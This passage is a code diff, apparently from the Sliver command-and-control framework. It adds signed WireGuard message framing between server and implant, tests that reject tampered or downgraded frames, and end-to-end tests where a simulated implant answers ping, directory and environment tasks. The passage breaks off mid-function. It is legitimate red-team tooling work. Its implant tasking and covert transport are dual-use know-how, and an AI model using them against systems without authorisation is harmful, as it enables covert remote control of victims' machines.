@@ -266,21 +373,43 @@ func socketWGWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) err
wgLog.Errorf("Envelope marshaling error: %v", err)
return err
}
// Prepend a fixed-length raw minisign signature (binary) so the implant can
// verify messages independent of the WireGuard layer.
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
if _, err := connection.Write(rawSig[:]); err != nil {
return err
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
connection.Write(dataLengthBuf.Bytes())
connection.Write(data)
if err := binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))); err != nil {
wgLog.Errorf("Envelope marshaling error: %v", err)
return err
}
if _, err := connection.Write(dataLengthBuf.Bytes()); err != nil {
return err
}
if _, err := connection.Write(data); err != nil {
return err
}
return nil
}
// socketWGReadEnvelope - Reads a message from the wireguard connection using length prefix framing
// returns messageType, message, and error
func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
rawSigBuf := make([]byte, minisign.RawSigSize)
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(connection, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
wgLog.Errorf("Socket error (read raw signature): %v", err)
return nil, err
}
n, err = io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
wgLog.Errorf("Socket error (read msg-length): %v", err)
@@ -288,7 +417,7 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
if dataLength <= 0 {
if dataLength <= 0 || ServerMaxMessageSize < dataLength {
// {{if .Config.Debug}}
wgLog.Errorf("[wireguard] read error: %s\n", err)
// {{end}}
@@ -303,6 +432,22 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
wgLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
algorithm := binary.LittleEndian.Uint16(rawSigBuf[:2])
if algorithm != minisign.EdDSA {
return nil, errors.New("[wireguard] unsupported signature algorithm")
}
keyID := binary.LittleEndian.Uint64(rawSigBuf[2:10])
pubKey, _, err := lookupImplantSigKey(keyID)
if err != nil {
return nil, err
}
signature := rawSigBuf[10:]
if !ed25519.Verify(pubKey, dataBuf, signature) {
return nil, errors.New("[wireguard] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
+306
View File
@@ -0,0 +1,306 @@
package c2
import (
"bytes"
"encoding/binary"
"errors"
"io"
"net"
"strings"
"testing"
implantWG "github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/minisign"
)
func TestWGSocketReadEnvelopeAcceptsValidSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
want := &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
}
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", want)
mtlsImplantSigKeyCache.Store(keyID, pub)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
got, err := socketWGReadEnvelope(srv)
if err != nil {
t.Fatalf("expected valid signature, got err=%v", err)
}
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
}
}
func TestWGSocketReadEnvelopeRejectsUnsupportedAlgorithm(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketWGReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "unsupported signature algorithm") {
t.Fatalf("expected unsupported signature algorithm error, got=%v", err)
}
}
func TestWGSocketReadEnvelopeRejectsInvalidSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
frame[10] ^= 0xff
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketWGReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestWGSocketReadEnvelopeRejectsTamperedMessage(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
dataOffset := minisign.RawSigSize + 4
frame[dataOffset] ^= 0x01
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketWGReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestWGSocketReadEnvelopeRejectsTruncatedSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, _, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketWGReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame[:minisign.RawSigSize-1])
_ = cli.Close()
}()
err := <-errCh
if err == nil {
t.Fatalf("expected error for truncated signature, got nil")
}
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
t.Fatalf("expected EOF for truncated signature, got=%v", err)
}
}
func TestWireGuardImplantReadEnvelopeAcceptsValidServerSignature(t *testing.T) {
want := &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
}
frame := newServerSignedEnvelopeFrame(t, want)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
got, err := implantWG.ReadEnvelope(srv)
if err != nil {
t.Fatalf("expected valid signature, got err=%v", err)
}
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
}
}
func TestWireGuardImplantReadEnvelopeRejectsInvalidServerSignature(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
frame[10] ^= 0xff
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
_, err := implantWG.ReadEnvelope(srv)
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestWireGuardImplantReadEnvelopeRejectsWrongServerKeyID(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
frame[2] ^= 0xff
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
_, err := implantWG.ReadEnvelope(srv)
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestWireGuardImplantReadEnvelopeRejectsAlgorithmDowngradeTrick(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
_, err := implantWG.ReadEnvelope(srv)
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestWireGuardImplantReadEnvelopeRejectsTamperedServerMessage(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
dataOffset := minisign.RawSigSize + 4
frame[dataOffset] ^= 0x01
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
_, err := implantWG.ReadEnvelope(srv)
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestWireGuardImplantReadEnvelopeRejectsTruncatedServerSignature(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame[:minisign.RawSigSize-1])
_ = cli.Close()
}()
_, err := implantWG.ReadEnvelope(srv)
if err == nil {
t.Fatalf("expected error for truncated signature, got nil")
}
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
t.Fatalf("expected EOF for truncated signature, got=%v", err)
}
}
@@ -0,0 +1,12 @@
//go:build server && go_sqlite && sliver_e2e
package c2
import "net"
// HandleWGSliverConnectionForTest exposes the raw connection handler to external
// (package `c2_test`) end-to-end tests without shipping test-only symbols in
// production builds.
func HandleWGSliverConnectionForTest(conn net.Conn) {
handleWGSliverConnection(conn)
}
@@ -0,0 +1,439 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"net"
"os"
"path/filepath"
"runtime"
"testing"
"time"
implantWG "github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"github.com/hashicorp/yamux"
"google.golang.org/protobuf/proto"
)
func TestWGYamux_Beacon_EndToEndAsyncPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleWGSliverConnectionForTest(serverConn)
beaconID := uuid.NewString()
beacon := startTestWGBeacon(t, implantConn, beaconID)
t.Cleanup(beacon.Stop)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
const tasksCount = 8
type taskInfo struct {
id string
nonce int32
}
taskInfos := make([]taskInfo, 0, tasksCount)
for i := 0; i < tasksCount; i++ {
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
nonce := int32(1000 + i)
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
Nonce: nonce,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: int64(5 * time.Second),
},
})
cancel()
if err != nil {
t.Fatalf("rpc ping (async): %v", err)
}
if resp.GetResponse() == nil || resp.GetResponse().TaskID == "" {
t.Fatalf("expected ping task id in async response, got=%v", resp.GetResponse())
}
taskInfos = append(taskInfos, taskInfo{id: resp.GetResponse().TaskID, nonce: nonce})
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pendingTasks, err := beacon.FetchPendingTasks(ctx)
if err != nil {
t.Fatalf("fetch pending beacon tasks: %v", err)
}
if len(pendingTasks) < tasksCount {
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), tasksCount)
}
results := executeBeaconTasks(t, pendingTasks)
if err := beacon.SendResults(results); err != nil {
t.Fatalf("send beacon results: %v", err)
}
for _, info := range taskInfos {
waitForBeaconTaskCompleted(t, rpcClient, info.id, info.nonce, 10*time.Second)
}
}
func TestWGYamux_Beacon_EndToEndAsyncMixedRPCs(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleWGSliverConnectionForTest(serverConn)
beaconID := uuid.NewString()
beacon := startTestWGBeacon(t, implantConn, beaconID)
t.Cleanup(beacon.Stop)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
testDir := t.TempDir()
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
t.Fatalf("write alpha.txt: %v", err)
}
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
t.Fatalf("mkdir subdir: %v", err)
}
reqTimeout := int64(5 * time.Second)
type taskCheck struct {
id string
check func(*testing.T, []byte)
}
checks := make([]taskCheck, 0, 8)
addTask := func(taskID string, check func(*testing.T, []byte)) {
if taskID == "" {
t.Fatalf("expected task id in async response")
}
checks = append(checks, taskCheck{id: taskID, check: check})
}
for i := 0; i < 4; i++ {
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
nonce := int32(2000 + i)
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
Nonce: nonce,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc ping (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
wantNonce := nonce
addTask(taskID, func(t *testing.T, data []byte) {
t.Helper()
ping := &sliverpb.Ping{}
if err := proto.Unmarshal(data, ping); err != nil {
t.Fatalf("unmarshal ping response: %v", err)
}
if ping.Nonce != wantNonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc pwd (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(taskID, func(t *testing.T, data []byte) {
t.Helper()
pwd := &sliverpb.Pwd{}
if err := proto.Unmarshal(data, pwd); err != nil {
t.Fatalf("unmarshal pwd response: %v", err)
}
if pwd.Path == "" {
t.Fatalf("unexpected empty pwd path")
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc getenv (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(taskID, func(t *testing.T, data []byte) {
t.Helper()
env := &sliverpb.EnvInfo{}
if err := proto.Unmarshal(data, env); err != nil {
t.Fatalf("unmarshal env response: %v", err)
}
if len(env.Variables) != 1 || env.Variables[0].Key != "PATH" {
t.Fatalf("unexpected env response: %+v", env.Variables)
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc ls (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(taskID, func(t *testing.T, data []byte) {
t.Helper()
ls := &sliverpb.Ls{}
if err := proto.Unmarshal(data, ls); err != nil {
t.Fatalf("unmarshal ls response: %v", err)
}
if !ls.Exists {
t.Fatalf("unexpected ls response (Exists=false): %v", ls.GetResponse())
}
found := false
for _, file := range ls.Files {
if file.Name == "alpha.txt" {
found = true
break
}
}
if !found {
t.Fatalf("ls missing expected alpha.txt entry")
}
})
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pendingTasks, err := beacon.FetchPendingTasks(ctx)
if err != nil {
t.Fatalf("fetch pending beacon tasks: %v", err)
}
if len(pendingTasks) < len(checks) {
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), len(checks))
}
results := executeBeaconTasks(t, pendingTasks)
if err := beacon.SendResults(results); err != nil {
t.Fatalf("send beacon results: %v", err)
}
for _, tc := range checks {
data := waitForBeaconTaskResponseBytes(t, rpcClient, tc.id, 10*time.Second)
tc.check(t, data)
}
}
type wgTestBeacon struct {
id string
conn net.Conn
session *yamux.Session
incoming chan *sliverpb.Envelope
done chan struct{}
}
func startTestWGBeacon(t *testing.T, conn net.Conn, beaconID string) *wgTestBeacon {
t.Helper()
if _, err := conn.Write([]byte(implantWG.YamuxPreface)); err != nil {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
beacon := &wgTestBeacon{
id: beaconID,
conn: conn,
session: muxSession,
incoming: make(chan *sliverpb.Envelope, 64),
done: make(chan struct{}),
}
go beacon.recvLoop()
register := &sliverpb.Register{
Name: "e2e-beacon",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "wg://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(&sliverpb.BeaconRegister{
ID: beaconID,
Interval: int64(1),
Jitter: int64(0),
Register: register,
NextCheckin: int64(1),
})
if err != nil {
t.Fatalf("marshal beacon register: %v", err)
}
if err := sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgBeaconRegister, Data: regData}); err != nil {
t.Fatalf("send beacon register: %v", err)
}
return beacon
}
func (b *wgTestBeacon) Stop() {
select {
case <-b.done:
default:
close(b.done)
}
_ = b.session.Close()
_ = b.conn.Close()
}
func (b *wgTestBeacon) recvLoop() {
defer close(b.incoming)
for {
stream, err := b.session.Accept()
if err != nil {
return
}
go func(stream net.Conn) {
defer stream.Close()
envelope, err := implantWG.ReadEnvelope(stream)
if err != nil || envelope == nil {
return
}
select {
case b.incoming <- envelope:
case <-b.done:
}
}(stream)
}
}
func (b *wgTestBeacon) FetchPendingTasks(ctx context.Context) ([]*sliverpb.Envelope, error) {
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
ID: b.id,
NextCheckin: int64(1),
})
if err != nil {
return nil, err
}
if err := sendWGYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData}); err != nil {
return nil, err
}
for {
select {
case envelope, ok := <-b.incoming:
if !ok {
return nil, context.Canceled
}
if envelope.Type != sliverpb.MsgBeaconTasks {
continue
}
resp := &sliverpb.BeaconTasks{}
if err := proto.Unmarshal(envelope.Data, resp); err != nil {
return nil, err
}
return resp.Tasks, nil
case <-ctx.Done():
return nil, ctx.Err()
}
}
}
func (b *wgTestBeacon) SendResults(results []*sliverpb.Envelope) error {
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
ID: b.id,
NextCheckin: int64(1),
Tasks: results,
})
if err != nil {
return err
}
return sendWGYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData})
}
+416
View File
@@ -0,0 +1,416 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sync"
"testing"
"time"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
implantWG "github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"github.com/hashicorp/yamux"
"google.golang.org/protobuf/proto"
)
func TestWGYamux_EndToEndPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleWGSliverConnectionForTest(serverConn)
stopImplant := startTestWGImplant(t, implantConn)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pingReq := &sliverpb.Ping{
Nonce: 31337,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
pingResp, err := rpcClient.Ping(ctx, pingReq)
if err != nil {
t.Fatalf("rpc ping: %v", err)
}
if pingResp.Nonce != pingReq.Nonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", pingResp.Nonce, pingReq.Nonce)
}
const concurrentPings = 32
var wg sync.WaitGroup
errCh := make(chan error, concurrentPings)
for i := 0; i < concurrentPings; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
defer callCancel()
req := &sliverpb.Ping{
Nonce: int32(i),
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
resp, err := rpcClient.Ping(callCtx, req)
if err != nil {
errCh <- err
return
}
if resp.Nonce != req.Nonce {
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
return
}
}(i)
}
wg.Wait()
close(errCh)
for err := range errCh {
t.Error(err)
}
}
func TestWGYamux_EndToEndMixedRPCs(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleWGSliverConnectionForTest(serverConn)
stopImplant := startTestWGImplant(t, implantConn)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
testDir := t.TempDir()
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
t.Fatalf("write alpha.txt: %v", err)
}
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
t.Fatalf("mkdir subdir: %v", err)
}
reqTimeout := int64(5 * time.Second)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pwdResp, err := rpcClient.Pwd(ctx, &sliverpb.PwdReq{
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc pwd: %v", err)
}
if pwdResp.Path == "" {
t.Fatalf("unexpected empty pwd path")
}
envResp, err := rpcClient.GetEnv(ctx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc getenv: %v", err)
}
if len(envResp.Variables) != 1 || envResp.Variables[0].Key != "PATH" {
t.Fatalf("unexpected getenv response: %+v", envResp.Variables)
}
lsResp, err := rpcClient.Ls(ctx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc ls: %v", err)
}
if !lsResp.Exists {
t.Fatalf("unexpected ls response (Exists=false): %v", lsResp.GetResponse())
}
lsNames := map[string]bool{}
for _, file := range lsResp.Files {
lsNames[file.Name] = true
}
for _, want := range []string{"alpha.txt", "subdir"} {
if !lsNames[want] {
t.Fatalf("ls missing expected entry %q (got %d entries)", want, len(lsResp.Files))
}
}
const concurrentCalls = 64
var wg sync.WaitGroup
errCh := make(chan error, concurrentCalls)
for i := 0; i < concurrentCalls; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
defer callCancel()
switch i % 4 {
case 0:
req := &sliverpb.Ping{
Nonce: int32(i),
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
}
resp, err := rpcClient.Ping(callCtx, req)
if err != nil {
errCh <- err
return
}
if resp.Nonce != req.Nonce {
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
return
}
case 1:
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if resp.Path == "" {
errCh <- fmt.Errorf("pwd returned empty path")
return
}
case 2:
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if len(resp.Variables) != 1 || resp.Variables[0].Key != "PATH" {
errCh <- fmt.Errorf("unexpected getenv response: %+v", resp.Variables)
return
}
default:
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if !resp.Exists {
errCh <- fmt.Errorf("unexpected ls response (Exists=false): %v", resp.GetResponse())
return
}
found := false
for _, file := range resp.Files {
if file.Name == "alpha.txt" {
found = true
break
}
}
if !found {
errCh <- fmt.Errorf("ls missing expected alpha.txt entry")
return
}
}
}(i)
}
wg.Wait()
close(errCh)
for err := range errCh {
t.Error(err)
}
}
func startTestWGImplant(t *testing.T, conn net.Conn) func() {
t.Helper()
if _, err := conn.Write([]byte(implantWG.YamuxPreface)); err != nil {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
register := &sliverpb.Register{
Name: "e2e",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "wg://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(register)
if err != nil {
t.Fatalf("marshal register: %v", err)
}
if err := sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
t.Fatalf("send register: %v", err)
}
handlers := implantHandlers.GetSystemHandlers()
loopDone := make(chan struct{})
go func() {
defer close(loopDone)
streamSem := make(chan struct{}, 128)
for {
stream, err := muxSession.Accept()
if err != nil {
return
}
select {
case streamSem <- struct{}{}:
default:
_ = stream.Close()
continue
}
go func(stream net.Conn) {
defer func() { <-streamSem }()
defer stream.Close()
envelope, err := implantWG.ReadEnvelope(stream)
if err != nil || envelope == nil || envelope.ID == 0 {
return
}
handler, ok := handlers[envelope.Type]
if !ok {
